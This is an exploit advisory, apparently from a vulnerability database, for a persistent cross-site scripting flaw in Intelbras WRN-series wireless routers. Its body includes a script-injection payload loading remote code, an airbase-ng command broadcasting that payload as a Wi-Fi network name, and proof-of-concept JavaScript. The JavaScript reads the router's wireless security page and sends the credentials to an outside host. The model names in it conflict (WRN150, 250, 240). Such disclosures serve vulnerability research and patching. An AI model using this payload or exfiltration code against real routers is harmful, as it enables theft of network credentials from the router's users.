Roteador Wireless Intelbras WRN150 Cross-Site Scripting

2017.09.08
Credit: Elber Tavares
Risk: Low
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: XSS persistent on intelbras router with firmware WRN 250 # Date: 07/09/2017 # Exploit Author: Elber Tavares # Vendor Homepage: http://intelbras.com.br/ # Version: Intelbras Wireless N 150Mbps - WRN 240 # Tested on: kali linux, windows 7, 8.1, 10 # CVE-2017-14219 For more info: http://whiteboyz.xyz/xss-roteador-intelbras-wrn-240html URL VULN: http://10.0.0.1/userRpm/popupSiteSurveyRpm.htm Payload: </script><script src='//elb.me'> "elb.me contains the malicious code on index" airbase-ng -e "</script><script src='//elb.me'>" -c 8 -v wlan0mon //requires an php script to get the logs PoC: var rawFile = new XMLHttpRequest(); rawFile.onreadystatechange = function() { alert(rawFile.responseText); var base64 = rawFile.responseText.split('>')[1].split("/SCRIPT")[0]; //seleiciona a parte da página com as credenciais new Image().src="https://elb.me/cookie.php?ck="+btoa(base64); //envia as credenciais encodadas em base64 }; rawFile.open("GET", "http://10.0.0.1/userRpm/WlanSecurityRpm.htm", true); //pega a source da página /popupSiteSurveyRpm.htm rawFile.send();


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